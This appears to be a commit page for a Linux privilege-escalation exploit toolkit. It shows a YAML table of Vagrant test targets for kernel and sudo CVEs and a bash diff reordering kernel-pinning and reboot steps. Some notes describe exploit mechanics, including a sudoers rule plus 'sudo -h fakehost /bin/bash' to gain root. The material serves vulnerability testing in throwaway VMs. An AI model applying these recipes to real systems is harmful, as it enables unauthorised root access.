notes: "CVE-2026-43494; PinTheft. Among Vagrant-supported distros, NONE autoload the rds kernel module (Arch Linux is the only common distro that does, and there's no maintained generic/arch-linux Vagrant box). On Debian/Ubuntu/Fedora boxes the AF_RDS socket() call fails with EAFNOSUPPORT → detect correctly returns OK ('bug exists in kernel but unreachable from userland here'). Verifying the VULNERABLE path needs either an Arch box, or a custom box with the rds module pre-loaded ('modprobe rds && modprobe rds_tcp'). Deferred."
|
||||||
|
manual: true
|
||||||
|
|
||||||
|
# ── v0.9.0 additions (gap fillers 2018 / 2019 / 2020 / 2024) ──────
|
||||||
|
|
||||||
|
mutagen_astronomy:
|
||||||
|
box: ""
|
||||||
|
kernel_pkg: ""
|
||||||
|
kernel_version: ""
|
||||||
|
expect_detect: ""
|
||||||
|
manual: true
|
||||||
|
notes: "CVE-2018-14634; Qualys Mutagen Astronomy. No good Vagrant verification environment: stock Ubuntu 18.04 (4.15.0-213) returns detect()=VULNERABLE because the module's kernel_range table has no entry for the 4.15.x series (Ubuntu's HWE backports are not modeled), but the kernel IS actually patched — false-positive of the conservative module logic. Mainline 4.14.70 (target VULNERABLE kernel) panics on Ubuntu 18.04's rootfs with 'Failed to execute /init (error -8)' — kernel config mismatch (binfmt_elf as module rather than baked-in). Genuinely vulnerable verification needs a contemporary CentOS 6 / Debian 7 image with original-vintage kernel; deferred to custom-box workflow."
|
||||||
|
|
||||||
|
sudo_runas_neg1:
|
||||||
|
box: ubuntu1804 # ships sudo 1.8.21p2 (vulnerable; pre-1.8.28 fix)
|
||||||
|
kernel_pkg: ""
|
||||||
|
kernel_version: "4.15.0"
|
||||||
|
expect_detect: VULNERABLE
|
||||||
|
notes: "CVE-2019-14287; sudo Runas -u#-1. Ubuntu 18.04 ships sudo 1.8.21p2 (vulnerable). provisioners/sudo_runas_neg1.sh adds 'vagrant ALL=(ALL,!root) NOPASSWD: /bin/vi' to /etc/sudoers.d/ so find_runas_blacklist_grant() has a grant to abuse."
|
||||||
|
|
||||||
|
tioscpgrp:
|
||||||
|
box: ubuntu2004 # 5.4 stock kernels (5.4.0-26) are below the 5.4.85 backport
|
||||||
|
kernel_pkg: linux-image-5.4.0-26-generic
|
||||||
|
kernel_version: "5.4.0-26"
|
||||||
|
expect_detect: VULNERABLE
|
||||||
|
notes: "CVE-2020-29661; TTY TIOCSPGRP UAF race. Stock Ubuntu 20.04 5.4.0-26 is below the 5.4.85 LTS backport. /dev/ptmx is universally writable in CI containers. Should validate VULNERABLE."
|
||||||
|
|
||||||
|
vsock_uaf:
|
||||||
|
box: "" # vsock module typically not loaded on CI containers (no virtualization)
|
||||||
|
kernel_pkg: ""
|
||||||
|
kernel_version: ""
|
||||||
|
expect_detect: VULNERABLE
|
||||||
|
notes: "CVE-2024-50264; Pwn2Own 2024 vsock UAF. AF_VSOCK requires the vsock kernel module, which autoloads only on KVM/QEMU GUESTS. Vagrant VMs running under Parallels are themselves guests, but their guest kernel may or may not have vsock loaded depending on the Parallels host. detect correctly returns OK when AF_VSOCK is unavailable. To validate VULNERABLE, ensure the VM kernel has CONFIG_VSOCKETS + virtio-vsock loaded ('modprobe vsock_loopback' may suffice on newer kernels)."
|
||||||
|
manual: true
|
||||||
|
|
||||||
|
nft_pipapo:
|
||||||
|
box: ubuntu2204 # 5.15 stock + HWE — same pipapo set substrate as nf_tables
|
||||||
|
kernel_pkg: ""
|
||||||
|
mainline_version: "5.15.5"
|
||||||
|
kernel_version: "5.15.5"
|
||||||
|
expect_detect: VULNERABLE
|
||||||
|
notes: "CVE-2024-26581; nft_pipapo destroy-race (Notselwyn II). Same mainline 5.15.5 target as nf_tables works here — 5.15.5 is below the 5.15.149 backport. (Switched from apt-pinned 5.15.0-43 after that package was removed from Ubuntu repos.) Userns gate must be open (sysctl kernel.unprivileged_userns_clone=1)."
|
||||||
|
|
||||||
|
# ── ptrace_pidfd (CVE-2026-46333) addition ──────────────────────────
|
||||||
|
|
||||||
|
ptrace_pidfd:
|
||||||
|
box: ubuntu2204
|
||||||
|
kernel_pkg: ""
|
||||||
|
mainline_version: "5.15.5" # >5.6 (has pidfd_getfd) and below every fix backport
|
||||||
|
kernel_version: "5.15.5"
|
||||||
|
expect_detect: VULNERABLE
|
||||||
|
notes: "CVE-2026-46333; __ptrace_may_access dumpable-race credential-fd theft via pidfd_getfd. Qualys disclosure 2026-05-20, fixed 2026-05-14 mainline (Debian backports 5.10.251 / 6.1.172 / 6.12.88 / 7.0.7). Mainline 5.15.5 carries the pidfd_getfd vector (added 5.6) and is below every fix backport, so detect() returns VULNERABLE; installed via kernel.ubuntu.com/mainline/v5.15.5/ (same box/kernel as nf_tables / af_unix_gc / nft_pipapo). Brand-new addition this cycle: exploit() fires the real pidfd_getfd steal primitive and reports a captured root-owned fd, but the full target-specific root-pop is not yet VM-verified — sweep pending."
|
||||||
|
|
||||||
|
# ── sudo_host (CVE-2025-32462) addition ─────────────────────────────
|
||||||
|
|
||||||
|
sudo_host:
|
||||||
|
box: ubuntu1804 # ships sudo 1.8.21p2 — inside [1.8.8, 1.9.17p0]
|
||||||
|
kernel_pkg: ""
|
||||||
|
kernel_version: "4.15.0"
|
||||||
|
expect_detect: VULNERABLE
|
||||||
|
notes: "CVE-2025-32462; sudo -h/--host policy bypass (Stratascale, sibling of sudo_chwoot). Ubuntu 18.04 ships sudo 1.8.21p2, inside the vulnerable range [1.8.8, 1.9.17p0] (fixed 1.9.17p1), so detect() returns VULNERABLE on the version gate. Exercising exploit() empirically needs a sudoers rule scoped to a host other than the box hostname (and not ALL): provision e.g. 'vagrant fakehost = (ALL) NOPASSWD: ALL' in /etc/sudoers.d/, then 'SKELETONKEY_SUDO_HOST=fakehost skeletonkey --exploit sudo_host --i-know' pops root via 'sudo -h fakehost /bin/bash'. Brand-new addition this cycle; provisioner + sweep pending."
|
||||||
|
|
||||||
|
# ── cifswitch (CVE-2026-46243) addition ─────────────────────────────
|
||||||
|
|
||||||
|
cifswitch:
|
||||||
|
box: ubuntu2404
|
||||||
|
kernel_pkg: ""
|
||||||
|
kernel_version: "6.8.0-117-generic"
|
||||||
|
expect_detect: VULNERABLE
|
||||||
|
verified: partial # detect() + add_key primitive confirmed; full root-pop + patched-kernel discriminator pending
|
||||||
|
verified_on: "2026-06-08 — Ubuntu 24.04.4 LTS, kernel 6.8.0-117-generic, QEMU/HVF (x86_64)"
|
||||||
|
notes: "CVE-2026-46243 'CIFSwitch'; cifs.spnego key type trusts userspace-forged authority fields (Asim Manizada, 2026-05-28). Fixed 5.10.257 / 6.1.174 / 6.12.90 / 7.0.10 (Debian backports of commit 3da1fdf4efbc, mainline 7.1-rc5); a ~19-year-old bug below those. PARTIALLY VM-VERIFIED 2026-06-08 on Ubuntu 24.04.4 / 6.8.0-117 (QEMU/HVF): (1) `modprobe cifs` registers the cifs.spnego key type (dmesg 'Key type cifs.spnego registered') — cifs-utils not required to reach the primitive; (2) an INDEPENDENT python ctypes add_key('cifs.spnego', forged uid/creduid/upcall_target) was ACCEPTED (serial 374940108; a `user`-key control also accepted), and the module's own exploit() reported 'primitive CONFIRMED' (serial 294765294) then honest EXPLOIT_FAIL; (3) detect() correctly returned PRECOND_FAIL with cifs-utils absent, and VULNERABLE under SKELETONKEY_CIFS_ASSUME_PRESENT=1. STILL PENDING: (a) a PATCHED kernel (>=6.12.90 / 7.0.10) to prove add_key is REJECTED there (i.e. that the probe discriminates fixed-from-vulnerable, not merely that the key type always allows userspace creation), and (b) the full user+mount-namespace + malicious-NSS root-pop, which is not bundled. Reproduce via tools/verify-vm or the QEMU offline harness used on 2026-06-08 (cloud image + payload iso, no guest networking needed)."
|
||||||
|
|
||||||
|
# ── nft_catchall (CVE-2026-23111) addition ──────────────────────────
|
||||||
|
|
||||||
|
nft_catchall:
|
||||||
|
box: ubuntu2204
|
||||||
|
kernel_pkg: ""
|
||||||
|
mainline_version: "6.1.163" # one below the 6.1.164 backport; userns required
|
||||||
|
kernel_version: "6.1.163"
|
||||||
|
expect_detect: VULNERABLE
|
||||||
|
notes: "CVE-2026-23111; nf_tables nft_map_catchall_activate abort-path UAF (inverted '!'). Public reproduction by FuzzingLabs; fixed upstream f41c5d1, Debian backports 6.1.164 (bookworm) / 6.12.73 (trixie) / 6.18.10 (sid); 5.10/bullseye still unfixed. detect() version-gates (catch-all set elements ~5.13; thresholds 6.1.164/6.12.73/6.18.10) AND requires unprivileged user_ns clone — a vulnerable kernel with userns locked (apparmor_restrict_unprivileged_userns / sysctl 0) is PRECOND_FAIL. exploit() forks an isolated child that builds a verdict map with a catch-all GOTO element and provokes an aborting batch to drive the abort-path UAF, observes nft_chain/cg-256 slabinfo, returns EXPLOIT_FAIL (primitive-only). The per-kernel leak + R/W + modprobe_path ROP is NOT bundled, and the trigger is RECONSTRUCTED from public analysis — NOT yet VM-verified. Provisioner: ensure unprivileged userns enabled (sysctl kernel.unprivileged_userns_clone=1 / drop apparmor restriction). A KASAN kernel will oops on a real fire; sweep + trigger validation pending."
|
||||||
|
|
||||||
|
# ── bad_epoll (CVE-2026-46242) addition ─────────────────────────────
|
||||||
|
|
||||||
|
bad_epoll:
|
||||||
|
box: ubuntu2404
|
||||||
|
kernel_pkg: ""
|
||||||
|
kernel_version: "6.8.0-generic" # >= 6.4 (bug introduced 58c9b016e128) and below the 7.0.13 backport → VULNERABLE by version
|
||||||
|
expect_detect: VULNERABLE
|
||||||
|
notes: "CVE-2026-46242 'Bad Epoll'; epoll ep_remove-vs-__fput teardown race UAF (Jaeyoung Chung / J-jaeyoung kernelCTF PoC). Introduced 6.4 (58c9b016e128); fixed a6dc643c6931 (7.1-rc1), stable backport 7.0.13 (Debian forky 7.0.13-1 / sid 7.0.14-1); trixie 6.12.x still vulnerable, 6.1/5.10 not affected (code not present). detect() is a PURE version gate — no userns/CONFIG probe, because epoll is reachable by every unprivileged user; on Ubuntu 24.04 stock 6.8.0 (in [6.4, 7.0.13)) it returns VULNERABLE. To also confirm the PATCHED verdict, boot a >= 7.0.13 / 7.1 kernel and expect OK. exploit() forks a CPU-pinned child that builds the epoll race pair (waiter eventpoll watching a target eventpoll) and exercises the ep_remove-vs-__fput concurrent-close window a HARD-BOUNDED 48 attempts / 2s, widening it with close(dup()) false-sharing storms, snapshots the eventpoll/kmalloc-192 slab, and returns EXPLOIT_FAIL. DELIBERATELY UNDER-DRIVEN: a won race frees a live struct eventpoll (real corruption that rarely trips KASAN → possible SILENT destabilisation on a vulnerable host), so the module does NOT grind the race to a win, does NOT perform the cross-cache reclaim, and does NOT bundle the /proc/self/fdinfo arb-read + ROP root-pop. Trigger RECONSTRUCTED from the public kernelCTF PoC — NOT VM-verified. Lowest --auto safety rank (12). Provisioner caution: run only in a throwaway VM/snapshot — even the bounded trigger can, on a rare win, corrupt or panic a vulnerable kernel. Detection is intentionally weak (epoll syscalls ubiquitous); no yara. Sweep + trigger validation pending."
|
||||||
|
|
||||||
|
# ── ghostlock (CVE-2026-43499) addition ─────────────────────────────
|
||||||
|
|
||||||
|
ghostlock:
|
||||||
|
box: ubuntu2404
|
||||||
|
kernel_pkg: ""
|
||||||
|
kernel_version: "6.8.0-generic" # >= 2.6.39, below the on-branch fix (no 6.8 backport; not newer than all entries) → VULNERABLE by version
|
||||||
|
expect_detect: VULNERABLE
|
||||||
|
notes: "CVE-2026-43499 'GhostLock'; rtmutex/futex requeue-PI remove_waiter() stack UAF (VEGA / Nebula Security, 'IonStack part II'; public PoC in NebuSec/CyberMeowfia, Apache-2.0). Introduced 2.6.39 (PI-futex requeue); fixed 3bfdc63936dd (7.1-rc1), stable backports 7.0.4 / 6.18.27 / 6.12.86 / 6.6.140 / 6.1.175; 5.15/5.10/5.4/4.19 affected with NO upstream fix. detect() is a PURE version gate over that five-branch table — no userns/CONFIG probe (CVSS PR:L, any local user; CONFIG_FUTEX_PI assumed, near-universal); on Ubuntu 24.04 stock 6.8.0 (below the fix, not newer than all entries) it returns VULNERABLE. To also confirm the PATCHED verdict, boot a >= 7.0.4 / 6.12.86 / 6.6.140 / 6.1.175 on-branch or 7.1 kernel and expect OK; the multi-branch table is exercised by the 9 detect() unit rows in tests/test_detect.c (incl. 6.13.0 → VULNERABLE, the 'newer than some entries but not all' case). exploit() forks an isolated child that (A) deterministically confirms the -EDEADLK remove_waiter() rollback path is reachable (SAFE — without a concurrent priority walk the unwind creates no dangling pointer; validated on real hardware) and (B) exercises the actual race a HARD-BOUNDED 24 iterations / 2s with a sibling-CPU sched_setattr(SCHED_BATCH) storm on the waiter tid, then stops. DELIBERATELY UNDER-DRIVEN: does NOT widen the copy_from_user window (no memfd/PUNCH_HOLE), does NOT spray/reoccupy the freed kernel-stack frame, and does NOT bundle the KernelSnitch page leak → forged rt_mutex_waiter → fops/configfs/ashmem/pipe R/W → cred patch (Android/Pixel-specific, per-build offsets). Trigger RECONSTRUCTED from the public PoC — NOT VM-verified. Lowest --auto safety rank (11). Provisioner caution: run only in a throwaway VM/snapshot — a WON Phase-B race corrupts the kernel STACK and drives a near-arbitrary pointer write (near-certain PANIC on a vulnerable kernel). Detection has a real signature (futex requeue-PI returning EDEADLK + sibling sched_setattr(SCHED_BATCH)); no yara. Sweep + trigger validation pending."
|
||||||
|
|||||||
+39
-14
@@ -139,19 +139,6 @@ if ! vagrant status "$VM_HOSTNAME" 2>&1 | grep -q "running"; then
|
|||||||
vagrant up "$VM_HOSTNAME" --provider=parallels
|
vagrant up "$VM_HOSTNAME" --provider=parallels
|
||||||
fi
|
fi
|
||||||
|
|
||||||
# Reboot if any kernel pin was applied (uname -r != target).
|
|
||||||
if [[ -n "$KERNEL_PKG" || -n "$MAINLINE" ]]; then
|
|
||||||
current_kver=$(vagrant ssh "$VM_HOSTNAME" -c "uname -r" 2>/dev/null | tr -d '\r')
|
|
||||||
target_match="$KERNEL_VER"
|
|
||||||
[[ -n "$MAINLINE" ]] && target_match="$MAINLINE"
|
|
||||||
if [[ "$current_kver" != *"$target_match"* ]]; then
|
|
||||||
echo "[*] current kernel $current_kver != target $target_match; rebooting..."
|
|
||||||
vagrant reload "$VM_HOSTNAME"
|
|
||||||
sleep 5
|
|
||||||
fi
|
|
||||||
fi
|
|
||||||
|
|
||||||
# Run the explain probe.
|
|
||||||
LOG="$LOG_DIR/verify-${MODULE}-$(date +%Y%m%d-%H%M%S).log"
|
LOG="$LOG_DIR/verify-${MODULE}-$(date +%Y%m%d-%H%M%S).log"
|
||||||
|
|
||||||
# Force rsync the source tree in. vagrant up runs rsync automatically on
|
# Force rsync the source tree in. vagrant up runs rsync automatically on
|
||||||
@@ -160,8 +147,46 @@ LOG="$LOG_DIR/verify-${MODULE}-$(date +%Y%m%d-%H%M%S).log"
|
|||||||
echo "[*] syncing source into VM..."
|
echo "[*] syncing source into VM..."
|
||||||
vagrant rsync "$VM_HOSTNAME" 2>&1 | tail -5
|
vagrant rsync "$VM_HOSTNAME" 2>&1 | tail -5
|
||||||
|
|
||||||
|
# Two-phase provisioning so the new kernel actually boots before verify:
|
||||||
|
# PREP: install kernel (apt or mainline) + pin grub default + run any
|
||||||
|
# module-specific provisioner (sudoers grant, sudo build, ...).
|
||||||
|
# ── conditional reboot if uname -r doesn't match target ──
|
||||||
|
# VERIFY: build skeletonkey + run --explain --active.
|
||||||
|
PREP_PROVS=()
|
||||||
|
[[ -n "$KERNEL_PKG" ]] && PREP_PROVS+=("pin-kernel-${KERNEL_PKG}")
|
||||||
|
[[ -n "$MAINLINE" ]] && PREP_PROVS+=("pin-mainline-${MAINLINE}")
|
||||||
|
[[ -f "$VM_DIR/provisioners/${MODULE}.sh" ]] && PREP_PROVS+=("module-provision-${MODULE}")
|
||||||
|
|
||||||
|
if [[ ${#PREP_PROVS[@]} -gt 0 ]]; then
|
||||||
|
echo "[*] running prep provisioners: ${PREP_PROVS[*]}"
|
||||||
|
vagrant provision "$VM_HOSTNAME" \
|
||||||
|
--provision-with "$(IFS=,; echo "${PREP_PROVS[*]}")" 2>&1 | tee "$LOG"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Reboot if a kernel pin moved us off the target. This must run AFTER
|
||||||
|
# the prep provisioners (which install the kernel + set GRUB_DEFAULT),
|
||||||
|
# otherwise the reboot picks the stock kernel and we never land on the
|
||||||
|
# target.
|
||||||
|
if [[ -n "$KERNEL_PKG" || -n "$MAINLINE" ]]; then
|
||||||
|
current_kver=$(vagrant ssh "$VM_HOSTNAME" -c "uname -r" 2>/dev/null | tr -d '\r')
|
||||||
|
target_match="$KERNEL_VER"
|
||||||
|
[[ -n "$MAINLINE" ]] && target_match="$MAINLINE"
|
||||||
|
if [[ "$current_kver" != *"$target_match"* ]]; then
|
||||||
|
echo "[*] current kernel $current_kver != target $target_match; rebooting..."
|
||||||
|
vagrant reload "$VM_HOSTNAME" 2>&1 | tee -a "$LOG"
|
||||||
|
sleep 5
|
||||||
|
post_kver=$(vagrant ssh "$VM_HOSTNAME" -c "uname -r" 2>/dev/null | tr -d '\r')
|
||||||
|
echo "[*] post-reboot kernel: $post_kver" | tee -a "$LOG"
|
||||||
|
if [[ "$post_kver" != *"$target_match"* ]]; then
|
||||||
|
echo "[!] reboot did NOT land on target kernel $target_match (got $post_kver)" | tee -a "$LOG"
|
||||||
|
echo " detect() will still run, but verification is on the wrong kernel" | tee -a "$LOG"
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
echo "[*] running verifier..."
|
echo "[*] running verifier..."
|
||||||
vagrant provision "$VM_HOSTNAME" --provision-with build-and-verify 2>&1 | tee "$LOG"
|
vagrant provision "$VM_HOSTNAME" \
|
||||||
|
--provision-with build-and-verify 2>&1 | tee -a "$LOG"
|
||||||
|
|
||||||
# Parse verdict. Vagrant prefixes provisioner output with the VM name
|
# Parse verdict. Vagrant prefixes provisioner output with the VM name
|
||||||
# (e.g. " skk-pwnkit: VERDICT: VULNERABLE"), so anchor on the VERDICT
|
# (e.g. " skk-pwnkit: VERDICT: VULNERABLE"), so anchor on the VERDICT
|
||||||
|
|||||||
Reference in New Issue
Block a user